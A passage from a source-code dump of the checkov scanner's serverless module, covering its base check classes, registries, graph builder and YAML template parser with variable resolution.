    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Iterable, Any, TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.plugin.registry import plugin_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BasePluginCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        plugin_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_plugin_list(conf)\n\n    @abstractmethod\n    def scan_plugin_list(self, plugin_list: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/plugin/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\nplugin_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/provider/base_provider_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Any, TYPE_CHECKING, Iterable\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.provider.registry import provider_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseProviderCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        provider_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_provider_conf(conf)\n\n    @abstractmethod\n    def scan_provider_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/provider/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\nprovider_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/checks/service/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/checks/service/base_service_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.serverless.checks.service.registry import service_registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseServiceCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"serverless\",\n            guideline=guideline,\n        )\n        service_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        return self.scan_service_conf(conf)\n\n    @abstractmethod\n    def scan_service_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/serverless/checks/service/registry.py",
    "content": "from checkov.serverless.base_registry import ServerlessRegistry\n\nservice_registry = ServerlessRegistry()\n"
  },
  {
    "path": "checkov/serverless/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/graph_builder/definition_context.py",
    "content": "from __future__ import annotations\n\nfrom typing import cast, Any\n\nfrom checkov.common.parsers.node import StrNode, ListNode\nfrom checkov.common.util.consts import START_LINE, END_LINE, LINE_FIELD_NAMES\nfrom checkov.common.util.suppression import collect_suppressions_for_report\nfrom checkov.serverless.utils import ServerlessElements\n\n\ndef build_definitions_context(definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[tuple[int, str]]]\n                              ) -> dict[str, dict[str, Any]]:\n    definitions_context: dict[str, dict[str, Any]] = {}\n    for file_path, file_definitions in definitions.items():\n        definitions_context[file_path] = {}\n        for definition_attribute, definition_value in file_definitions.items():\n            if definition_attribute not in [str(e) for e in ServerlessElements]:\n                continue\n            definitions_context[file_path][definition_attribute] = {}\n            if isinstance(definition_value, dict):\n                for resource_key, resource_attributes in definition_value.items():\n                    add_resource_to_definitions_context(definitions_context, resource_key, resource_attributes,\n                                                        definition_attribute, definitions_raw, file_path)\n            elif isinstance(definition_value, list):\n                for resource in definition_value:\n                    add_resource_to_definitions_context(definitions_context, '', resource, definition_attribute,\n                                                        definitions_raw, file_path)\n\n            elif isinstance(definition_value, StrNode):\n                add_resource_to_definitions_context(definitions_context, definition_attribute, definition_value,\n                                                    definition_attribute,\n                                                    definitions_raw, file_path)\n    return definitions_context\n\n\ndef add_resource_to_definitions_context(definitions_context: dict[str, dict[str, Any]], resource_key: str,\n                                        resource_attributes: dict[str, Any] | ListNode | StrNode, definition_attribute: str,\n                                        definitions_raw: dict[str, Any], file_path: str) -> None:\n    if resource_key in LINE_FIELD_NAMES:\n        return\n\n    if resource_attributes:\n        if isinstance(resource_attributes, dict) and START_LINE in resource_attributes and END_LINE in resource_attributes:\n            start_line = resource_attributes[START_LINE] - 1\n            end_line = resource_attributes[END_LINE] - 1\n        elif isinstance(resource_attributes, ListNode):\n            start_line = resource_attributes.start_mark.line\n            end_line = resource_attributes.end_mark.line\n        elif isinstance(resource_attributes, StrNode):\n            start_line = resource_attributes.start_mark.line + 1\n            end_line = resource_attributes.end_mark.line + 1\n        else:\n            return\n    else:\n        return\n\n    definition_resource = {\"start_line\": start_line, \"end_line\": end_line}\n\n    if resource_key is None and isinstance(resource_attributes, dict):\n        resource_key = f\"{resource_attributes.get('type')}.{resource_attributes.get('name')}\"\n    int_start_line = cast(int, definition_resource[\"start_line\"])\n    int_end_line = cast(int, definition_resource[\"end_line\"])\n    code_lines_for_suppressions_check = definitions_raw[file_path][int_start_line: int_end_line]\n    definition_resource['skipped_checks'] = collect_suppressions_for_report(\n        code_lines=code_lines_for_suppressions_check)\n    if isinstance(resource_attributes, dict) and 'type' in resource_attributes:\n        definition_resource[\"type\"] = resource_attributes.get('type')\n\n    definition_resource[\"code_lines\"] = definitions_raw[file_path][start_line - 1: end_line]\n\n    definitions_context[file_path][definition_attribute][resource_key] = definition_resource\n"
  },
  {
    "path": "checkov/serverless/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\n\n\nclass ServerlessBlock(Block):\n    def __init__(\n        self,\n        name: str,\n        config: dict[str, Any],\n        path: str,\n        block_type: str,\n        attributes: dict[str, Any],\n        id: str = \"\",\n    ) -> None:\n        super().__init__(name, config, path, block_type, attributes, id, GraphSource.SERVERLESS)\n"
  },
  {
    "path": "checkov/serverless/graph_builder/graph_to_definitions.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.serverless.utils import ServerlessElements\n\nif TYPE_CHECKING:\n    from checkov.serverless.graph_builder.graph_components.blocks import ServerlessBlock\n\n\ndef convert_graph_vertices_to_definitions(vertices: list[ServerlessBlock], root_folder: str | Path | None) \\\n        -> tuple[dict[str, dict[str, Any]], dict[str, dict[str, Any]]]:\n    serverless_definitions: dict[str, dict[str, Any]] = {}\n    breadcrumbs: dict[str, dict[str, Any]] = {}\n    for vertex in vertices:\n        block_path = vertex.path\n        element_name = vertex.name.split('.')[-1]\n        # Plugins section is formatted as a list\n        if vertex.block_type == ServerlessElements.PLUGINS:\n            serverless_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, []).append(element_name)\n\n        # If there is a key named 'value' in the config it means that\n        # this vertex's config contains only a single string\n        elif 'value' in vertex.config:\n            # If the vertex is provider or service and it only contains a string the section should look like:\n            # provider: <value>\n            # service: <value>\n            if element_name == ServerlessElements.PROVIDER or element_name == ServerlessElements.SERVICE:\n                serverless_definitions.setdefault(block_path, {})[vertex.block_type] = vertex.config['value']\n\n            # Otherwise it's a vertex of a specific nested attribute and need to include the full path\n            # Examples:\n            # provider:\n            #   runtime: nodejs20.x\n            # custom:\n            #   myCustomVar: value\n            else:\n                serverless_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, {})[element_name] = \\\n                    vertex.config['value']\n\n        # Otherwise, the vertex config is a dict\n        else:\n            serverless_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, {})[\n                element_name] = vertex.config\n\n        if vertex.breadcrumbs:\n            relative_block_path = f\"/{os.path.relpath(block_path, root_folder)}\"\n            add_breadcrumbs(vertex, breadcrumbs, relative_block_path)\n    return serverless_definitions, breadcrumbs\n\n\ndef add_breadcrumbs(vertex: ServerlessBlock, breadcrumbs: dict[str, dict[str, Any]], relative_block_path: str) -> None:\n    breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex.breadcrumbs\n"
  },
  {
    "path": "checkov/serverless/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph, _Block\nfrom checkov.common.util.consts import LINE_FIELD_NAMES\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.serverless.graph_builder.graph_components.blocks import ServerlessBlock\nfrom checkov.serverless.utils import ServerlessElements\n\n\nclass ServerlessLocalGraph(LocalGraph[ServerlessBlock]):\n    def __init__(self, definitions: dict[str, dict[str, Any]]) -> None:\n        super().__init__()\n        self.vertices: list[ServerlessBlock] = []\n        self.definitions = definitions\n        self.vertices_by_path_and_name: dict[tuple[str, str], int] = {}\n\n    def build_graph(self, render_variables: bool = True) -> None:\n        self._create_vertices()\n\n    def _create_vertices(self) -> None:\n        for file_path, definition in self.definitions.items():\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.FUNCTIONS)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PARAMS)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PROVIDER)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.LAYERS)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.CUSTOM)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PACKAGE)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PLUGINS)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.SERVICE)\n            self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.RESOURCES)\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i\n\n            self.in_edges[i] = []\n            self.out_edges[i] = []\n\n    def _create_vertex(self, file_path: str, definition: dict[str, Any] | None,\n                       element_type: ServerlessElements) -> None:\n        if not definition:\n            return\n\n        resources = definition.get(element_type)\n\n        # resources -> Resources\n        if element_type == ServerlessElements.RESOURCES and resources is None:\n            resources = definition.get('Resources')\n\n        if isinstance(resources, list) and len(resources) > 0 and \\\n           isinstance(resources[0], dict) and resources[0]['__file__'] != file_path:\n            for r in resources:\n                if isinstance(r, dict):\n                    self._create_vertex(file_path, {element_type: r}, element_type)\n            return\n\n        if not resources:\n            return\n\n        elif isinstance(resources, str):\n            self.vertices.append(ServerlessBlock(\n                name=f'{element_type}',\n                config={\"value\": pickle_deepcopy(resources)},\n                path=file_path,\n                block_type=element_type,\n                attributes={\"value\": pickle_deepcopy(resources)},\n                id=f\"{file_path}:{element_type}\"\n            ))\n\n        else:\n            for attribute in resources:\n                if isinstance(attribute, str) and attribute in LINE_FIELD_NAMES:\n                    continue\n\n                if isinstance(resources, list):\n                    full_conf = {\"value\": pickle_deepcopy(attribute)}\n                    self.vertices.append(ServerlessBlock(\n                        name=f'{element_type}.{attribute}',\n                        config=full_conf,\n                        path=file_path,\n                        block_type=element_type,\n                        attributes=full_conf,\n                        id=f\"{file_path}:{element_type}.{attribute}\"\n                    ))\n\n                else:\n                    attribute_value = resources[attribute]\n                    if not isinstance(attribute_value, dict):\n                        full_conf = {\"value\": pickle_deepcopy(attribute_value)}\n                    else:\n                        full_conf = attribute_value\n\n                    config = pickle_deepcopy(full_conf)\n\n                    resource_type = element_type\n\n                    attributes = pickle_deepcopy(config)\n                    attributes[CustomAttributes.RESOURCE_TYPE] = resource_type\n\n                    self.vertices.append(ServerlessBlock(\n                        name=f'{resource_type}.{attribute}',\n                        config=config,\n                        path=file_path,\n                        block_type=resource_type,\n                        attributes=attributes,\n                        id=f\"{file_path}:{resource_type}.{attribute}\"\n                    ))\n\n    def get_resources_types_in_graph(self) -> list[str]:\n        # not used\n        return []\n\n    @staticmethod\n    def update_vertex_config(vertex: _Block, changed_attributes: list[str] | dict[str, Any],\n                             has_dynamic_blocks: bool = False) -> None:\n        pass\n\n    def update_vertices_configs(self) -> None:\n        pass\n"
  },
  {
    "path": "checkov/serverless/graph_manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any, Optional\n\nfrom checkov.serverless.graph_builder.local_graph import ServerlessLocalGraph\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_manager import GraphManager\nfrom checkov.serverless.utils import get_scannable_file_paths, get_files_definitions\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n\n\nclass ServerlessGraphManager(GraphManager[ServerlessLocalGraph, \"dict[str, dict[str, Any]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.SERVERLESS) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[ServerlessLocalGraph] = ServerlessLocalGraph,\n        render_variables: bool = False,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[ServerlessLocalGraph, dict[str, dict[str, Any]]]:\n        file_paths = get_scannable_file_paths(root_folder=source_dir, excluded_paths=excluded_paths)\n        definitions, _ = get_files_definitions(files=file_paths)\n\n        local_graph = self.build_graph_from_definitions(definitions=definitions)\n\n        return local_graph, definitions\n\n    def build_graph_from_definitions(\n        self, definitions: dict[str, dict[str, Any]], render_variables: bool = True\n    ) -> ServerlessLocalGraph:\n        local_graph = ServerlessLocalGraph(definitions=definitions)\n        local_graph.build_graph(render_variables=render_variables)\n\n        return local_graph\n"
  },
  {
    "path": "checkov/serverless/parsers/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/serverless/parsers/context_parser.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.serverless.parsers.parser import FUNCTIONS_TOKEN, PROVIDER_TOKEN, IAM_ROLE_STATEMENTS_TOKEN, \\\n    ENVIRONMENT_TOKEN, STACK_TAGS_TOKEN, TAGS_TOKEN\nfrom checkov.cloudformation.context_parser import ContextParser as CfnContextParser, STARTLINE, ENDLINE\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\n\nclass ContextParser(object):\n    \"\"\"\n    serverless functions template context parser\n    \"\"\"\n    # control on inherited provider attributes to scanned functions\n    # Values are the source and destination\n    ENRICHED_ATTRIBUTES = [\n        (IAM_ROLE_STATEMENTS_TOKEN, IAM_ROLE_STATEMENTS_TOKEN),\n        (ENVIRONMENT_TOKEN, ENVIRONMENT_TOKEN),\n        (STACK_TAGS_TOKEN, TAGS_TOKEN),\n        (\"runtime\", \"runtime\"),\n        (\"timeout\", \"timeout\"),\n        (\"memorySize\", \"memorySize\")\n    ]\n\n    def __init__(self, sls_file: str, sls_template: dict[str, Any], sls_template_lines: list[tuple[int, str]]) -> None:\n        self.sls_file = sls_file\n        self.sls_template = sls_template\n        self.sls_template_lines = sls_template_lines\n        self.provider_conf = sls_template.get(PROVIDER_TOKEN)\n        self.functions_conf = sls_template.get(FUNCTIONS_TOKEN) or {}\n        self.provider_type = self._infer_provider_type()\n\n    def file(self, content: dict[str, Any]) -> str:\n        if isinstance(content, dict):\n            return str(content.get('__file__', self.sls_file))\n        return self.sls_file\n\n    def extract_code_lines(\n        self, content: dict[str, Any]\n    ) -> tuple[list[int], list[tuple[int, str]]] | tuple[None, None]:\n        find_lines_result_list = list(CfnContextParser.find_lines(content, STARTLINE))\n        if len(find_lines_result_list) >= 1:\n            start_line = min(find_lines_result_list) - 1\n            end_line = max(list(CfnContextParser.find_lines(content, ENDLINE)))\n\n            entity_lines_range = [start_line, end_line - 1]\n\n            fname = self.file(content)\n            lines = self.sls_template_lines\n            if fname != self.sls_file:\n                lines = []\n                text = read_file_with_any_encoding(Path(self.sls_file).parent / fname)\n                for i, ln in enumerate(text.splitlines(True)):\n                    lines.append((i + 1, ln))\n            entity_code_lines = lines[start_line - 1: end_line - 1]\n            return entity_lines_range, entity_code_lines\n        return None, None\n\n    def enrich_function_with_provider(self, sls_function_name: str) -> None:\n        \"\"\"\n        Update inplace a function's template with pre-defined inherited provider attributes\n        :param sls_function_name: scanned function\n        :return: None\n        \"\"\"\n        if not self.provider_conf or not isinstance(self.provider_conf, dict):\n            return\n\n        for src_attribute, dst_enriched_attribute in self.ENRICHED_ATTRIBUTES:\n            provider_attribute = self.provider_conf.get(src_attribute)\n            if not provider_attribute:\n                continue\n\n            template_function = self.functions_conf.get(sls_function_name)\n            if not template_function:\n                continue\n            function_attribute = template_function.get(dst_enriched_attribute)\n            if function_attribute:\n                if not isinstance(function_attribute, type(provider_attribute)):\n                    # Do not enrich maps with strings etc\n                    continue\n                if isinstance(template_function[dst_enriched_attribute], list):\n                    template_function[dst_enriched_attribute].extend(provider_attribute)\n                if isinstance(template_function[dst_enriched_attribute], dict):\n                    template_function[dst_enriched_attribute].update(provider_attribute)\n            else:\n                template_function[dst_enriched_attribute] = provider_attribute\n\n    def _infer_provider_type(self) -> str | None:\n        if isinstance(self.provider_conf, dict):\n            return self.provider_conf.get('name')\n        if isinstance(self.provider_conf, str):\n            return self.provider_conf\n\n        return None\n"
  },
  {
    "path": "checkov/serverless/parsers/parser.py",
    "content": "from __future__ import annotations\n\nimport json\nimport os\nfrom collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import Tuple, Optional, List, Any, Pattern, Callable\n\nimport jmespath\nimport logging\nimport re\n\nimport yaml\n\nfrom checkov.cloudformation.parser import cfn_yaml\nfrom checkov.cloudformation.context_parser import ContextParser\nfrom checkov.cloudformation.parser.cfn_yaml import CfnParseError\nfrom checkov.common.models.consts import SLS_DEFAULT_VAR_PATTERN\nfrom checkov.common.parsers.node import DictNode, StrNode\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\nIAM_ROLE_STATEMENTS_TOKEN = 'iamRoleStatements'  # nosec\nCFN_RESOURCES_TOKEN = 'resources'  # nosec\nPROVIDER_TOKEN = 'provider'  # nosec\nFUNCTIONS_TOKEN = 'functions'  # nosec\nENVIRONMENT_TOKEN = 'environment'  # nosec\nSTACK_TAGS_TOKEN = 'stackTags'  # nosec\nTAGS_TOKEN = 'tags'  # nosec\nSUPPORTED_PROVIDERS = ['aws']\n\nQUOTED_WORD_SYNTAX = re.compile(r\"(?:('|\\\").*?\\1)\")\nFILE_LOCATION_PATTERN = re.compile(r'^file\\(([^?%*:|\"<>]+?)\\)')\n\n\ndef parse(filename: str) -> tuple[dict[str, Any], list[tuple[int, str]]] | None:\n    template = None\n    template_lines = None\n\n    try:\n        (template, template_lines) = cfn_yaml.load(filename, cfn_yaml.ContentType.SLS)\n        if not template or not is_checked_sls_template(template):\n            return None\n    except FileNotFoundError as e:\n        logger.error(f'Template file not found: {e.filename}')\n        return None\n    except IsADirectoryError as e:\n        logger.error(f'Template references a directory, not a file: {e.filename}')\n        return None\n    except PermissionError as e:\n        logger.error(f'Permission denied when accessing {e.filename}')\n        return None\n    except UnicodeDecodeError:\n        logger.error('Cannot read file contents: %s', filename)\n        return None\n    except CfnParseError as e:\n        logger.warning(f\"Failed to parse file {e.filename} because it isn't valid yaml\")\n        return None\n\n    if template is None or template_lines is None:\n        return None\n\n    process_variables(template, filename)\n    return template, template_lines\n\n\ndef is_checked_sls_template(template: dict[str, Any]) -> bool:\n    if template.__contains__('provider'):\n        # Case provider is a dictionary\n        if isinstance(template['provider'], DictNode):\n            if template['provider'].get('name', '').lower() not in SUPPORTED_PROVIDERS:\n                return False\n        # Case provider is direct provider name\n        if isinstance(template['provider'], StrNode):\n            if template['provider'] not in SUPPORTED_PROVIDERS:\n                return False\n        return True\n    return False\n\n\ndef template_contains_cfn_resources(template: dict[str, Any]) -> bool:\n    if template.__contains__(CFN_RESOURCES_TOKEN) and isinstance(template[CFN_RESOURCES_TOKEN], DictNode):\n        if template[CFN_RESOURCES_TOKEN].get('Resources'):\n            return True\n    return False\n\n\ndef template_contains_key(template: dict[str, Any], key: str) -> bool:\n    if ContextParser.search_deep_keys(key, template, []):\n        return True\n    return False\n\n\ndef process_variables(template: dict[str, Any], filename: str) -> dict[str, Any]:\n    \"\"\"\nModifies the template data in-place to resolve variables.\n    \"\"\"\n\n    file_data_cache: dict[str, dict[str, Any]] = {}\n    service_file_directory = os.path.dirname(filename)\n\n    var_pattern = jmespath.search(\"provider.variableSyntax\", template)\n    if var_pattern is not None:\n        # Remove to prevent self-matching during processing\n        del template[\"provider\"][\"variableSyntax\"]\n    else:\n        var_pattern = SLS_DEFAULT_VAR_PATTERN\n    compiled_var_pattern = re.compile(var_pattern)\n\n    # Processing is done in a loop to deal with chained references and the like.\n    # Loop while the data is being changed, stop when no more changes are happening.\n    # To ensure there's not some kind of oscillation, a cap of 25 passes is in place.\n    # More than a couple loops isn't normally expected.\n    # NOTE: If this approach proves to be a performance liability, a DAG will be needed.\n    loop_count = 0\n    for _ in range(0, 25):\n        loop_count += 1\n        made_change = False\n\n        if process_variables_loop(template, compiled_var_pattern,\n                                  # vt = var type\n                                  # vl = var location\n                                  # ft = fallback var type\n                                  # fl = fallback var location\n                                  lambda vt, vl, ft, fl: _load_var_data(vt, vl, ft, fl,\n                                                                        file_data_cache,\n                                                                        template, service_file_directory)):\n            made_change = True\n\n        if not made_change:\n            break\n    logger.debug(\"Processing of %s variables took %d loop iterations\", filename, loop_count)\n\n    return template\n\n\ndef process_variables_loop(\n    template: dict[str, Any],\n    var_pattern: Pattern[str],\n    param_lookup_function: Callable[[str | None, str | None, str | None, str | None], Any],\n) -> bool:\n    \"\"\"\nGeneric processing loop for variables.\n    :param template:                The dictionary currently being processed. This function will\n                                    be called recursively starting at dict provided.\n    :param var_pattern:             A compiled regex pattern which should name match groups\n                                    if they are needed for looking up the data source.\n    :param param_lookup_function:   A Callable taking four arguments:\n                                    1) the type (e.g., \"self\", \"file(/path/to/file.yml)\")\n                                    2) the location (e.g., \"custom.my_property\")\n                                    3) fallback var type (same as above plus None for static value)\n                                    4) fallback var location or value if type was None\n    \"\"\"\n    # Generic loop for handling a source of key/value tuples (e.g., enumerate() or <dict>.items())\n    def process_items_helper(key_value_iterator: Iterable[tuple[str, Any]], data_map: dict[str, Any]) -> bool:\n        made_change = False\n        for key, value in key_value_iterator:\n            if isinstance(value, str):\n                altered_value = value\n                for match in var_pattern.finditer(value):\n                    parsed_var = _parse_var(match[1])\n                    if parsed_var is None:\n                        continue\n\n                    var_type, var_loc, fallback_type, fallback_loc = parsed_var\n                    source_value = param_lookup_function(var_type, var_loc, fallback_type, fallback_loc)\n\n                    # If we can't find a value, skip it\n                    if source_value is None:\n                        continue\n                    try:\n                        if altered_value == match[0]:           # complete replacement\n                            altered_value = source_value\n                        else:                                   # partial replacement\n\n                            altered_value = altered_value.replace(match[0], source_value)\n                    except TypeError:\n                        pass\n                if value != altered_value:\n                    data_map[key] = altered_value\n                    made_change = True\n            elif isinstance(value, dict):\n                if process_variables_loop(value, var_pattern, param_lookup_function):\n                    made_change = True\n            elif isinstance(value, list):\n                if process_items_helper(enumerate(value), value):  # type:ignore[arg-type]\n                    made_change = True\n        return made_change\n\n    return process_items_helper(template.items(), template)\n\n\ndef _load_var_data(\n    var_type: str | None,\n    var_location: str | None,\n    fallback_var_type: str | None,\n    fallback_var_location: str | None,\n    file_cache: dict[str, dict[str, Any]],\n    self_data_source: dict[str, Any],\n    service_file_directory: str,\n) -> Any:\n    \"\"\"\nLoad data based on the type/path (see param_lookup_function parameter of process_variables for more info).\n\n    :param var_type:        Either the type of the variable (see process_variables function) or None to\n                            indicate that var_location is a raw value.\n    :param var_location:    Either the location of the variable (see process_variables function) or a\n                            raw value if var_type is None\n\n    :return     None if the variable could not be resolved\n    \"\"\"\n    value = None\n    if var_type is None:\n        value = var_location\n    elif var_type == \"self\":\n        value = _determine_variable_value_from_dict(self_data_source, var_location, None)\n    elif var_type == \"env\":\n        value = _determine_variable_value_from_dict(dict(os.environ.items()), var_location, None)\n    elif var_type.startswith(\"file(\"):\n        match = FILE_LOCATION_PATTERN.match(var_type)\n        if match is None:\n            return None\n        data_source = _load_file_data(match[1], file_cache, service_file_directory)\n        value = _determine_variable_value_from_dict(data_source, var_location, None)\n\n    if value is None and fallback_var_location is not None:\n        return _load_var_data(fallback_var_type, fallback_var_location, None, None,\n                              file_cache, self_data_source, service_file_directory)\n    return value\n\n\ndef _determine_variable_value_from_dict(\n    source_dict: dict[str, Any], location_str: str | None, default: str | None\n) -> Any:\n    if location_str is None:\n        return source_dict\n\n    if default is not None:\n        default = default.strip()\n\n    # NOTE: String must be quoted to avoid issues with dashes and other reserved\n    #       characters. If we just wrap the whole thing, dot separators won't work so:\n    #       split and join with individually wrapped tokens.\n    #         Original:  foo.bar-baz\n    #         Wrapped:   \"foo\".\"bar-baz\"\n    location = \".\".join([f'\"{token}\"' for token in location_str.split(\".\")])\n    source_value = jmespath.search(location, source_dict)\n    if source_value is None:\n        return default\n    return source_value\n\n\ndef _self_var_data_lookup(group_dict: dict[str, Any], template: dict[str, Any]) -> Any:\n    location = group_dict[\"loc\"]\n    default = group_dict.get(\"default\")\n    return _determine_variable_value_from_dict(template, location, default)\n\n\ndef _load_file_data(\n    file_location: str, file_data_cache: dict[str, dict[str, Any]], service_file_directory: str\n) -> dict[str, Any]:\n    file_location = file_location.replace(\"~\", str(Path.home()))\n    file_location = file_location if os.path.isabs(file_location) else \\\n        os.path.join(service_file_directory, file_location)\n\n    data = file_data_cache.get(file_location)\n    if data is None:\n        try:\n            with open(file_location, \"r\") as f:\n                if file_location.endswith(\".json\"):\n                    data = json.load(f)\n                elif file_location.endswith(\".yml\") or file_location.endswith(\".yaml\"):\n                    data = yaml.safe_load(f)\n        except Exception:\n            data = {}\n        file_data_cache[file_location] = data or {}\n    return data or {}\n\n\ndef _token_to_type_and_loc(token: str) -> Tuple[Optional[str], Optional[str]]:\n    file_match = FILE_LOCATION_PATTERN.match(token)\n    if file_match is not None:\n        if \":\" not in token:\n            return file_match[0], None\n\n        return file_match[0].strip(), token[len(file_match[0]) + 1 :].strip()  # +1 for colon\n\n    if \":\" not in token:\n        return None, token\n\n    index = token.index(\":\")\n    return token[:index].strip(), token[index + 1 :].strip()\n\n\ndef _parse_var(var_str: str) -> tuple[str | None, str | None, str | None, str | None] | None:\n    \"\"\"\nReturns a tuple of the var type, var loc, fallback type and fallback loc. See docs for the\nparam_lookup_function parameter of process_variables_loop for more info.\n    \"\"\"\n    tokens = _tokenize_by_commas(var_str.strip())\n    if not tokens:\n        return None\n\n    var_type, var_loc = _token_to_type_and_loc(tokens[0])\n\n    if len(tokens) > 1:\n        fallback_type, fallback_loc = _token_to_type_and_loc(tokens[1])\n    else:\n        fallback_type = None\n        fallback_loc = None\n\n    return var_type, var_loc, fallback_type, fallback_loc\n\n\ndef _tokenize_by_commas(string: str) -> Optional[List[str]]:\n    \"\"\"\n    Tokenize the given value by commas, respecting quoted blocks.\n    \"\"\"\n    if not string:\n        return None\n\n    quoted_comma_ranges = [range(m.start(0), m.end(0)) for m in QUOTED_WORD_SYNTAX.finditer(string)]\n\n    def clean(s: str) -> str:\n        s = s.strip()  # whitespace\n        if len(s) > 0 and s[0] == '\"' and s[len(s) - 1] == '\"':  # surrounding quotes\n            s = s[1:-1]\n        if len(s) > 0 and s[0] == \"'\" and s[len(s) - 1] == \"'\":\n            s = s[1:-1]\n        return s\n\n    block_start_index = 0\n    search_start_index = block_start_index\n    tokens = []\n    index = string.find(\",\", search_start_index)\n    while index > 0:\n        is_quoted = False\n        for quoted_comma_range in quoted_comma_ranges:\n            if index in quoted_comma_range:\n                is_quoted = True\n                break\n        if is_quoted:\n            search_start_index = index + 1\n        else:\n            tokens.append(clean(string[block_start_index:index]))\n            block_start_index = index + 1\n            search_start_index = block_start_index\n        index = string.find(\",\", search_start_index)\n\n    if block_start_index < len(string):\n        tokens.append(clean(string[block_start_index:]))\n    return tokens\n"
  },
  {
    "path": "checkov/serverless/registry.py",
    "content": "from checkov.serverless.checks.function.registry import function_registry\n\n# Leaving this around for backwards compatibility\nsls_registry = function_registry\n"
  },
  {
    "path": "checkov/serverless/runner.py",
